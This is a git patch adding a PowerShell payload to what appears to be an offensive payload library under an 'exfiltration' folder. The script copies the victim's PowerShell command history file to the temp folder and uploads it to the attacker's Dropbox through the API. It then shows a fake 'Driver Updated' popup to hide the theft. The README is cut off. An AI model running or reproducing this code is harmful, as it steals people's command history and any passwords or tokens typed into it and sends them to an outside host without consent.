From 565a11451aaf96dba4459bd3209641c67f7c91a7 Mon Sep 17 00:00:00 2001 From: atomic <75549184+atomiczsec@users.noreply.github.com> Date: Sat, 29 Oct 2022 12:37:39 -0400 Subject: [PATCH] Add files via upload --- .../exfiltration/Powershell-History/PH.ps1 | 45 +++++++ .../exfiltration/Powershell-History/README.md | 110 ++++++++++++++++++ .../Powershell-History/payload.txt | 16 +++ 3 files changed, 171 insertions(+) create mode 100644 payloads/library/exfiltration/Powershell-History/PH.ps1 create mode 100644 payloads/library/exfiltration/Powershell-History/README.md create mode 100644 payloads/library/exfiltration/Powershell-History/payload.txt diff --git a/payloads/library/exfiltration/Powershell-History/PH.ps1 b/payloads/library/exfiltration/Powershell-History/PH.ps1 new file mode 100644 index 0000000..e5d2bd1 --- /dev/null +++ b/payloads/library/exfiltration/Powershell-History/PH.ps1 @@ -0,0 +1,45 @@ +#Powershell-History + +# See if file is a thing +Test-Path -Path "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -PathType Leaf + +#If the file does not exist, write to host. +if (-not(Test-Path -Path "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -PathType Leaf)) { + try { + Write-Host "The Powershell History file has not been found. " + } + catch { + throw $_.Exception.Message + } + } + # Copy Powershell History to Temp Directory to get sent to Dropbox + else { + $F1 = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_ps_history.txt" + Copy-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Destination "$env:tmp/$F1" + } + + +function DropBox-Upload { + + [CmdletBinding()] + param ( + + [Parameter (Mandatory = $True, ValueFromPipeline = $True)] + [Alias("f")] + [string]$SourceFilePath + ) + $DropBoxAccessToken = "YOUR-DROPBOX-ACCESS-TOKEN" # Replace with your DropBox Access Token + $outputFile = Split-Path $SourceFilePath -leaf + $TargetFilePath="/$outputFile" + $arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' + $authorization = "Bearer " + $DropBoxAccessToken + $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" + $headers.Add("Authorization", $authorization) + $headers.Add("Dropbox-API-Arg", $arg) + $headers.Add("Content-Type", 'application/octet-stream') + Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers + } + +DropBox-Upload -f "$env:tmp/$F1" + +$done = New-Object -ComObject Wscript.Shell;$done.Popup("Driver Updated",1) diff --git a/payloads/library/exfiltration/Powershell-History/README.md b/payloads/library/exfiltration/Powershell-History/README.md new file mode 100644 index 0000000..429794d --- /dev/null +++ b/payloads/library/exfiltration/Powershell-History/README.md @@ -0,0 +1,110 @@ +